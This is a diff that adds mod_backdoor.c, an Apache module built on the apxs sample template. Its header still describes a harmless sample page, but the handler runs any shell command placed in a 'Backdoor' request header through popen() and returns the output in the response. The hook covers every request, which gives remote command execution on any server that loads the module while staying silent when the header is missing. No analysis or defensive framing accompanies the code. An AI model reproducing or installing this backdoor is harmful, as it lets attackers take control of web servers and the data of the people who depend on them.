|
| 1 | +/* |
| 2 | +** mod_backdoor.c -- Apache sample backdoor module |
| 3 | +** [Autogenerated via ``apxs -n backdoor -g''] |
| 4 | +** |
| 5 | +** To play with this sample module first compile it into a |
| 6 | +** DSO file and install it into Apache's modules directory |
| 7 | +** by running: |
| 8 | +** |
| 9 | +** $ apxs -c -i mod_backdoor.c |
| 10 | +** |
| 11 | +** Then activate it in Apache's apache2.conf file for instance |
| 12 | +** for the URL /backdoor in as follows: |
| 13 | +** |
| 14 | +** # apache2.conf |
| 15 | +** LoadModule backdoor_module modules/mod_backdoor.so |
| 16 | +** <Location /backdoor> |
| 17 | +** SetHandler backdoor |
| 18 | +** </Location> |
| 19 | +** |
| 20 | +** Then after restarting Apache via |
| 21 | +** |
| 22 | +** $ apachectl restart |
| 23 | +** |
| 24 | +** you immediately can request the URL /backdoor and watch for the |
| 25 | +** output of this module. This can be achieved for instance via: |
| 26 | +** |
| 27 | +** $ lynx -mime_header http://localhost/backdoor |
| 28 | +** |
| 29 | +** The output should be similar to the following one: |
| 30 | +** |
| 31 | +** HTTP/1.1 200 OK |
| 32 | +** Date: Tue, 31 Mar 1998 14:42:22 GMT |
| 33 | +** Server: Apache/1.3.4 (Unix) |
| 34 | +** Connection: close |
| 35 | +** Content-Type: text/html |
| 36 | +** |
| 37 | +** The sample page from mod_backdoor.c |
| 38 | +*/ |
| 39 | + |
| 40 | +#include "httpd.h" |
| 41 | +#include "http_config.h" |
| 42 | +#include "http_protocol.h" |
| 43 | +#include "ap_config.h" |
| 44 | +#include <stdio.h> |
| 45 | +#include <stdlib.h> |
| 46 | + |
| 47 | +/* The sample content handler */ |
| 48 | +static int backdoor_handler(request_rec *r) |
| 49 | +{ |
| 50 | + /* |
| 51 | + if (strcmp(r->handler, "backdoor")) { |
| 52 | + return DECLINED; |
| 53 | + } |
| 54 | + r->content_type = "text/html"; |
| 55 | +
|
| 56 | + if (!r->header_only) |
| 57 | + ap_rputs("The sample page from mod_backdoor.c\n", r); |
| 58 | + */ |
| 59 | + /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ |
| 60 | + const apr_array_header_t *fields; |
| 61 | + int i; |
| 62 | + apr_table_entry_t *e = 0; |
| 63 | + char FLAG = 0; |
| 64 | + /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ |
| 65 | + |
| 66 | + fields = apr_table_elts(r->headers_in); |
| 67 | + e = (apr_table_entry_t *) fields->elts; |
| 68 | + |
| 69 | + for(i = 0; i < fields->nelts; i++) { |
| 70 | + if(strcmp(e[i].key, "Backdoor") == 0){ |
| 71 | + FLAG = 1; |
| 72 | + break; |
| 73 | + } |
| 74 | + } |
| 75 | + |
| 76 | + if (FLAG){ |
| 77 | + char * command = e[i].val; |
| 78 | + FILE* fp = popen(command,"r"); |
| 79 | + char buffer[0x100] = {0}; |
| 80 | + int counter = 1; |
| 81 | + while(counter){ |
| 82 | + counter = fread(buffer, 1, sizeof(buffer), fp); |
| 83 | + ap_rwrite(buffer, counter, r); |
| 84 | + } |
| 85 | + pclose(fp); |
| 86 | + return DONE; |
| 87 | + } |
| 88 | + return DECLINED; |
| 89 | +} |
| 90 | + |
| 91 | +static void backdoor_register_hooks(apr_pool_t *p) |
| 92 | +{ |
| 93 | + ap_hook_handler(backdoor_handler, NULL, NULL, APR_HOOK_MIDDLE); |
| 94 | +} |
| 95 | + |
| 96 | +/* Dispatch list for API hooks */ |
| 97 | +module AP_MODULE_DECLARE_DATA backdoor_module = { |
| 98 | + STANDARD20_MODULE_STUFF, |
| 99 | + NULL, /* create per-dir config structures */ |
| 100 | + NULL, /* merge per-dir config structures */ |
| 101 | + NULL, /* create per-server config structures */ |
| 102 | + NULL, /* merge per-server config structures */ |
| 103 | + NULL, /* table of config file commands */ |
| 104 | + backdoor_register_hooks /* register hooks */ |
| 105 | +}; |
| 106 | + |
0 commit comments